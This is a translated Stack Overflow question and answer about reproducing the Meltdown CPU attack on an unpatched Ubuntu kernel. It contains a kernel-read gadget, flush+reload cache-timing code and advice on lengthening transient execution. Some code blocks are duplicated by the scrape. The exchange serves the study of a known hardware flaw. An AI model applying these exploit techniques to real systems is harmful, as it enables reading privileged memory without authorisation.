鼓励CPU对Meltdown测试执行乱序执行

Ben*_*007 5 x86 exploit intel cpu-architecture linux-kernel

我正尝试在Intel Core-i5 4300M CPU 上使用未修补的内核4.8.0-36来利用Ubuntu 16.04的崩溃安全漏洞。

首先,我使用内核模块将秘密数据存储在内核空间中的某个地址:

static __init int initialize_proc(void){
    char* key_val = "abcd";
    printk("Secret data address = %p\n", key_val);
    printk("Value at %p = %s\n", key_val, key_val);
}
Run Code Online (Sandbox Code Playgroud)

printk语句为我提供了机密数据的地址。

Mar 30 07:00:49 VM kernel: [62055.121882] Secret data address = fa2ef024
Mar 30 07:00:49 VM kernel: [62055.121883] Value at fa2ef024 = abcd
Run Code Online (Sandbox Code Playgroud)

然后,我尝试在此位置访问数据,并在下一条指令中使用它来缓存数组的元素。

Mar 30 07:00:49 VM kernel: [62055.121882] Secret data address = fa2ef024
Mar 30 07:00:49 VM kernel: [62055.121883] Value at fa2ef024 = abcd
Run Code Online (Sandbox Code Playgroud)

我期望CPU在执行乱序执行时继续前进并在索引(data * 4096 + DELTA)处缓存数组元素。此后,将执行边界检查并抛出SIGSEGV。我处理SIGSEGV,然后定时访问数组元素以确定已缓存的元素:

// Out of order execution
int meltdown(unsigned long kernel_addr){
    char data = *(char*) kernel_addr;   //Raises exception
    array[data*4096+DELTA] += 10;       // <----- Execute out of order
}

Run Code Online (Sandbox Code Playgroud)

由于数据中的值为'a',因此我期望结果为array [97 * 4096 + DELTA],因为'a'的ASCII值为97。

但是,这不起作用,我得到的是随机输出。

~/.../MyImpl$ ./OutofOrderExecution 
Memory Access Violation
array[241*4096+DELTA]

~/.../MyImpl$ ./OutofOrderExecution 
Memory Access Violation
array[78*4096+DELTA]

~/.../MyImpl$ ./OutofOrderExecution 
Memory Access Violation
array[146*4096+DELTA]

~/.../MyImpl$ ./OutofOrderExecution 
Memory Access Violation
array[115*4096+DELTA]
Run Code Online (Sandbox Code Playgroud)

我可能想到的可能原因是:

  1. 缓存数组元素的指令不会被无序执行。
  2. 发生乱序执行,但是正在刷新缓存。
  3. 我误解了内核模块中的内存映射,我使用的地址不正确

由于系统很容易崩溃,因此我确信排除了第二种可能性。

因此,我的问题是:为什么乱序执行在这里不起作用?是否有任何选项/标志可以“鼓励” CPU按顺序执行?

我已经尝试过的解决方案:

  1. 使用clock_gettime而不是rdtscp来计时内存访问。
void attackChannel_x86(){
    register uint64_t time1, time2;
    volatile uint8_t *addr;
    int min = 10000;
    int temp, i, k;

    for(i=0;i<256;i++){
        time1 = __rdtscp(&temp);      //timestamp before memory access
        temp = array[i*4096 + DELTA];
        time2 = __rdtscp(&temp) - time1; // change in timestamp after the access
        if(time2<=min){
            min = time2;
            k=i;
        }

    }
    printf("array[%d*4096+DELTA]\n", k);
}
Run Code Online (Sandbox Code Playgroud)
  1. 通过执行循环来保持算术单元“繁忙”(请参阅meltdown_busy_loop
~/.../MyImpl$ ./OutofOrderExecution 
Memory Access Violation
array[241*4096+DELTA]

~/.../MyImpl$ ./OutofOrderExecution 
Memory Access Violation
array[78*4096+DELTA]

~/.../MyImpl$ ./OutofOrderExecution 
Memory Access Violation
array[146*4096+DELTA]

~/.../MyImpl$ ./OutofOrderExecution 
Memory Access Violation
array[115*4096+DELTA]
Run Code Online (Sandbox Code Playgroud)
  1. 在执行时间攻击之前,使用procfs将数据强制进入缓存(请参阅meltdown
void attackChannel(){
    int i, k, temp;

    uint64_t diff;
    volatile uint8_t *addr;
    double min  = 10000000;
    struct timespec start, end;

    for(i=0;i<256;i++){
        addr = &array[i*4096 + DELTA];
        clock_gettime(CLOCK_MONOTONIC, &start);
        temp = *addr;
        clock_gettime(CLOCK_MONOTONIC, &end);
        diff = end.tv_nsec - start.tv_nsec;
        if(diff<=min){
            min = diff;
            k=i;
        }
    }
    if(min<600)
        printf("Accessed element : array[%d*4096+DELTA]\n", k);
}
Run Code Online (Sandbox Code Playgroud)

对于有兴趣进行设置的任何人,这里是github存储库链接

为了完整起见,我在下面附加主要功能和错误处理代码:

void meltdown_busy_loop(unsigned long kernel_addr){
    char kernel_data;
    asm volatile(
        ".rept 1000;"
        "add $0x01, %%eax;"
        ".endr;"

        :
        :
        :"eax"
    );
    kernel_data = *(char*)kernel_addr;
    array[kernel_data*4096 + DELTA] +=10;
}
Run Code Online (Sandbox Code Playgroud)

Pet*_*des 2

我认为数据需要位于 L1d 中才能让 Meltdown 工作,并且尝试仅通过没有权限的 TLB/页表条目读取数据不会将其带入 L1d。

http://blog.stuffedcow.net/2018/05/meltdown-microarchitecture/

当发生任何类型的不良结果时(页面错误、从非推测性内存类型加载、页面访问位 = 0),没有处理器发起核外 L2 请求来获取数据

除非我遗漏了什么,否则我认为只有当允许读取数据的东西将其带入 L1d 时,数据才容易受到 Meltdown 的影响。(直接或通过硬件预取。)我不认为重复的 Meltdown 攻击可以将 RAM 中的数据带入 L1d。

尝试在模块中添加一个系统调用或其他用于使用您READ_ONCE()的秘密数据的内容(或者手动编写*(volatile int*)&data;或只是制作它volatile,以便您可以轻松地触摸它),以将其从具有该 PTE 权限的上下文中带入缓存。


另外:add $0x01, %%eax延迟退休是一个糟糕的选择。每个 uop 只有 1 个时钟周期的延迟,因此 OoO exec 从 ADD 后的第一条指令进入调度程序 (RS) 并运行开始,在它咀嚼添加和故障负载到达退休之前,只有大约 64 个周期。

至少使用imul(3c 延迟),或者更好地使用xorps %xmm0,%xmm0/重复sqrtpd %xmm0,%xmm0(Haswell 上的单个 uop、16 个周期延迟。) https://agner.org/optimize/